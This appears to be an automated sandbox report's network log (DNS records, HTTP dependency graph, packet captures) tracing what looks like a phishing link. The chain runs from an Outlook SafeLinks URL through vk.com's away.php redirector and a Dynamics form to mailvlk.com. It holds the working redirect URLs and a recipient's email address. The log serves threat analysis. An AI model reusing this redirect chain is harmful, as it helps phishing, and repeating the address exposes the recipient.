Apr 24, 2024 15:43:05.155668974 CEST	192.168.2.17	1.1.1.1	0x310c	Standard query (0)	mailvlk.com	65	IN (0x0001)	false
Apr 24, 2024 15:43:06.107243061 CEST	192.168.2.17	1.1.1.1	0x55fa	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:06.107381105 CEST	192.168.2.17	1.1.1.1	0x56f3	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 15:43:06.820815086 CEST	192.168.2.17	1.1.1.1	0xbab8	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:06.820959091 CEST	192.168.2.17	1.1.1.1	0x3bd3	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 15:43:07.513391972 CEST	192.168.2.17	1.1.1.1	0x261a	Standard query (0)	mailvlk.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:07.513541937 CEST	192.168.2.17	1.1.1.1	0x9c43	Standard query (0)	mailvlk.com	65	IN (0x0001)	false
Apr 24, 2024 15:43:07.670506954 CEST	192.168.2.17	1.1.1.1	0x640e	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:07.670811892 CEST	192.168.2.17	1.1.1.1	0x9f94	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 15:43:09.332351923 CEST	192.168.2.17	1.1.1.1	0xbb08	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:09.332596064 CEST	192.168.2.17	1.1.1.1	0xf1ae	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Apr 24, 2024 15:44:06.104749918 CEST	192.168.2.17	1.1.1.1	0x7695	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:44:06.105020046 CEST	192.168.2.17	1.1.1.1	0x3505	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 15:42:45.909293890 CEST	1.1.1.1	192.168.2.17	0xdbf9	No error (0)	nam10.safelinks.protection.outlook.com		104.47.70.28	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:45.909293890 CEST	1.1.1.1	192.168.2.17	0xdbf9	No error (0)	nam10.safelinks.protection.outlook.com		104.47.55.28	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:47.706649065 CEST	1.1.1.1	192.168.2.17	0x23e3	No error (0)	vk.com		87.240.132.72	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:47.706649065 CEST	1.1.1.1	192.168.2.17	0x23e3	No error (0)	vk.com		93.186.225.194	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:47.706649065 CEST	1.1.1.1	192.168.2.17	0x23e3	No error (0)	vk.com		87.240.132.78	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:47.706649065 CEST	1.1.1.1	192.168.2.17	0x23e3	No error (0)	vk.com		87.240.137.164	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:47.706649065 CEST	1.1.1.1	192.168.2.17	0x23e3	No error (0)	vk.com		87.240.132.67	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:47.706649065 CEST	1.1.1.1	192.168.2.17	0x23e3	No error (0)	vk.com		87.240.129.133	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:49.423717022 CEST	1.1.1.1	192.168.2.17	0x6d1f	No error (0)	away.vk.com		87.240.137.164	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:49.423717022 CEST	1.1.1.1	192.168.2.17	0x6d1f	No error (0)	away.vk.com		87.240.129.133	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:49.423717022 CEST	1.1.1.1	192.168.2.17	0x6d1f	No error (0)	away.vk.com		93.186.225.194	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:49.423717022 CEST	1.1.1.1	192.168.2.17	0x6d1f	No error (0)	away.vk.com		87.240.132.67	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:49.423717022 CEST	1.1.1.1	192.168.2.17	0x6d1f	No error (0)	away.vk.com		87.240.132.78	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:50.493041992 CEST	1.1.1.1	192.168.2.17	0x8ffe	No error (0)	www.google.com		142.250.141.104	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:50.493041992 CEST	1.1.1.1	192.168.2.17	0x8ffe	No error (0)	www.google.com		142.250.141.147	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:50.493041992 CEST	1.1.1.1	192.168.2.17	0x8ffe	No error (0)	www.google.com		142.250.141.106	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:50.493041992 CEST	1.1.1.1	192.168.2.17	0x8ffe	No error (0)	www.google.com		142.250.141.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:50.493041992 CEST	1.1.1.1	192.168.2.17	0x8ffe	No error (0)	www.google.com		142.250.141.105	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:50.493041992 CEST	1.1.1.1	192.168.2.17	0x8ffe	No error (0)	www.google.com		142.250.141.99	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:50.493128061 CEST	1.1.1.1	192.168.2.17	0x4093	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 24, 2024 15:42:50.715006113 CEST	1.1.1.1	192.168.2.17	0x6c10	No error (0)	vk.com		87.240.132.72	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:50.715006113 CEST	1.1.1.1	192.168.2.17	0x6c10	No error (0)	vk.com		87.240.132.78	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:50.715006113 CEST	1.1.1.1	192.168.2.17	0x6c10	No error (0)	vk.com		87.240.137.164	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:50.715006113 CEST	1.1.1.1	192.168.2.17	0x6c10	No error (0)	vk.com		93.186.225.194	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:50.715006113 CEST	1.1.1.1	192.168.2.17	0x6c10	No error (0)	vk.com		87.240.129.133	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:50.715006113 CEST	1.1.1.1	192.168.2.17	0x6c10	No error (0)	vk.com		87.240.132.67	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:52.973058939 CEST	1.1.1.1	192.168.2.17	0x1554	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:52.977926970 CEST	1.1.1.1	192.168.2.17	0x5447	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:52.977926970 CEST	1.1.1.1	192.168.2.17	0x5447	No error (0)	shed.dual-low.part-0041.t-0009.t-msedge.net	part-0041.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:52.977926970 CEST	1.1.1.1	192.168.2.17	0x5447	No error (0)	part-0041.t-0009.t-msedge.net		13.107.246.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:52.977926970 CEST	1.1.1.1	192.168.2.17	0x5447	No error (0)	part-0041.t-0009.t-msedge.net		13.107.213.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:54.204447985 CEST	1.1.1.1	192.168.2.17	0xbfee	No error (0)	shed.dual-low.part-0041.t-0009.t-msedge.net	part-0041.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:54.204447985 CEST	1.1.1.1	192.168.2.17	0xbfee	No error (0)	part-0041.t-0009.t-msedge.net		13.107.246.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:54.204447985 CEST	1.1.1.1	192.168.2.17	0xbfee	No error (0)	part-0041.t-0009.t-msedge.net		13.107.213.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:56.636014938 CEST	1.1.1.1	192.168.2.17	0xdba5	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:56.636014938 CEST	1.1.1.1	192.168.2.17	0xdba5	No error (0)	shed.dual-low.part-0041.t-0009.t-msedge.net	part-0041.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:56.636014938 CEST	1.1.1.1	192.168.2.17	0xdba5	No error (0)	part-0041.t-0009.t-msedge.net		13.107.246.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:56.636014938 CEST	1.1.1.1	192.168.2.17	0xdba5	No error (0)	part-0041.t-0009.t-msedge.net		13.107.213.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:56.636126995 CEST	1.1.1.1	192.168.2.17	0x2c0f	No error (0)	assets-usa.mkt.dynamics.com	assets-mkt-usa.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:56.914999008 CEST	1.1.1.1	192.168.2.17	0x1db2	No error (0)	shed.dual-low.part-0041.t-0009.t-msedge.net	part-0041.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:56.914999008 CEST	1.1.1.1	192.168.2.17	0x1db2	No error (0)	part-0041.t-0009.t-msedge.net		13.107.246.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:56.914999008 CEST	1.1.1.1	192.168.2.17	0x1db2	No error (0)	part-0041.t-0009.t-msedge.net		13.107.213.69	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:56.962666988 CEST	1.1.1.1	192.168.2.17	0x6f45	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:56.962666988 CEST	1.1.1.1	192.168.2.17	0x6f45	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:56.962666988 CEST	1.1.1.1	192.168.2.17	0x6f45	No error (0)	prdia888eus0aks.mkt.dynamics.com		52.146.76.30	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:56.964468002 CEST	1.1.1.1	192.168.2.17	0x2d48	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:56.964468002 CEST	1.1.1.1	192.168.2.17	0x2d48	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:59.194776058 CEST	1.1.1.1	192.168.2.17	0x27db	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:59.194776058 CEST	1.1.1.1	192.168.2.17	0x27db	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:59.194776058 CEST	1.1.1.1	192.168.2.17	0x27db	No error (0)	prdia888eus0aks.mkt.dynamics.com		52.146.76.30	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:42:59.195004940 CEST	1.1.1.1	192.168.2.17	0x901d	No error (0)	public-usa.mkt.dynamics.com	cxppusa1im4t7x7z5iubq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:42:59.195004940 CEST	1.1.1.1	192.168.2.17	0x901d	No error (0)	public-prdia888eus0aks.mkt.dynamics.com	prdia888eus0aks.mkt.dynamics.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 24, 2024 15:43:05.327327013 CEST	1.1.1.1	192.168.2.17	0x310c	No error (0)	mailvlk.com			65	IN (0x0001)	false
Apr 24, 2024 15:43:05.402162075 CEST	1.1.1.1	192.168.2.17	0xbeec	No error (0)	mailvlk.com		104.21.50.148	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:05.402162075 CEST	1.1.1.1	192.168.2.17	0xbeec	No error (0)	mailvlk.com		172.67.207.5	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:06.260498047 CEST	1.1.1.1	192.168.2.17	0x55fa	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:06.974373102 CEST	1.1.1.1	192.168.2.17	0x3bd3	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 24, 2024 15:43:06.974798918 CEST	1.1.1.1	192.168.2.17	0xbab8	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:06.974798918 CEST	1.1.1.1	192.168.2.17	0xbab8	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:07.666868925 CEST	1.1.1.1	192.168.2.17	0x9c43	No error (0)	mailvlk.com			65	IN (0x0001)	false
Apr 24, 2024 15:43:07.667778969 CEST	1.1.1.1	192.168.2.17	0x261a	No error (0)	mailvlk.com		104.21.50.148	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:07.667778969 CEST	1.1.1.1	192.168.2.17	0x261a	No error (0)	mailvlk.com		172.67.207.5	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:07.824063063 CEST	1.1.1.1	192.168.2.17	0x9f94	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 24, 2024 15:43:07.824323893 CEST	1.1.1.1	192.168.2.17	0x640e	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:07.824323893 CEST	1.1.1.1	192.168.2.17	0x640e	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:09.485677958 CEST	1.1.1.1	192.168.2.17	0xbb08	No error (0)	challenges.cloudflare.com		104.17.2.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:09.485677958 CEST	1.1.1.1	192.168.2.17	0xbb08	No error (0)	challenges.cloudflare.com		104.17.3.184	A (IP address)	IN (0x0001)	false
Apr 24, 2024 15:43:09.485697031 CEST	1.1.1.1	192.168.2.17	0xf1ae	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Apr 24, 2024 15:44:06.258358955 CEST	1.1.1.1	192.168.2.17	0x7695	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

nam10.safelinks.protection.outlook.com

vk.com

away.vk.com

fs.microsoft.com

https:

assets-usa.mkt.dynamics.com

cxppusa1formui01cdnsa01-endpoint.azureedge.net

mailvlk.com

challenges.cloudflare.com

public-usa.mkt.dynamics.com

a.nel.cloudflare.com

evoke-windowsservices-tas.msedge.net

www.bing.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49723	87.240.132.72	80	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 15:42:51.050493956 CEST	750	OUT	GET /away.php?to=https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636 HTTP/1.1 Host: vk.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: remixsec_redir=https%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636
Apr 24, 2024 15:42:51.385390043 CEST	612	IN	HTTP/1.1 301 Moved Permanently Server: kittenx Date: Wed, 24 Apr 2024 13:42:51 GMT Content-Type: text/html Content-Length: 164 Connection: keep-alive Location: https://vk.com/away.php?to=https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636 X-Frontend: front919200 Access-Control-Expose-Headers: X-Frontend X-Trace-Id: kFXIeclrToPv1S-e5Q4xRjjKa-5ntQ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>kittenx</center></body></html>
Apr 24, 2024 15:43:36.393342972 CEST	6	OUT	Data Raw: 00 Data Ascii:
Apr 24, 2024 15:44:21.733441114 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49724	87.240.132.72	80	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 15:43:36.169224977 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.17	49706	20.190.190.195	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4722 Host: login.live.com
2024-04-24 13:42:40 UTC	4722	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-24 13:42:40 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 24 Apr 2024 13:41:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BAY x-ms-request-id: b0799383-9189-433c-bf6e-c76a468a1639 PPServer: PPV: 30 H: PH1PEPF00011E59 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 24 Apr 2024 13:42:40 GMT Connection: close Content-Length: 10197
2024-04-24 13:42:40 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49708	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:45 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9+ronNE95pkpmyw&MD=sRmD9cLz HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-24 13:42:46 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 0bd32b71-e5de-48cd-835b-7ee3caf7e791 MS-RequestId: 4fb0a663-cd12-4dac-be68-a4aa52763335 MS-CV: HawefzJDDEOj47R2.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 24 Apr 2024 13:42:45 GMT Connection: close Content-Length: 24490
2024-04-24 13:42:46 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-24 13:42:46 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49713	104.47.70.28	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:42:46 UTC	1198	OUT	GET /?url=http%3A%2F%2Fvk.com%2Faway.php%3Fto%3Dhttps%3A%2F%2Fassets-usa.mkt.dynamics.com%2F97791573-a900-ef11-9f85-00224828202e%2Fdigitalassets%2Fstandaloneforms%2Fbeb26e16-c500-ef11-a1fd-6045bdd3b636&data=05%7C02%7Clanderson%40american-pcs.com%7C12a2a023526d4f13ec3008dc63d6fc83%7C48af3ff71bb24e8b9762c9e61a8503a9%7C0%7C0%7C638495022247675574%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=wmZ9CPEGbqFv%2B8gk%2BkjZ7S5r0b%2B7AC1Ezstrt9P7SuM%3D&reserved=0 HTTP/1.1 Host: nam10.safelinks.protection.outlook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:42:47 UTC	718	IN	HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: http://vk.com/away.php?to=https://assets-usa.mkt.dynamics.com/97791573-a900-ef11-9f85-00224828202e/digitalassets/standaloneforms/beb26e16-c500-ef11-a1fd-6045bdd3b636 Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 4.0 X-SL-GetUrlReputation-Verdict: Good X-Robots-Tag: noindex, nofollow X-AspNet-Version: 4.0.30319 X-ServerName: BN7NAM10WS046 X-ServerVersion: 15.20.7519.020 X-ServerLat: 525 X-SafeLinks-Tracking-Id: 58cf4ecc-1dc6-4d7a-9ee1-08dc64646d11 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff X-UA-Compatible: IE=Edge Date: Wed, 24 Apr 2024 13:42:47 GMT Connection: close Content-Length: 282
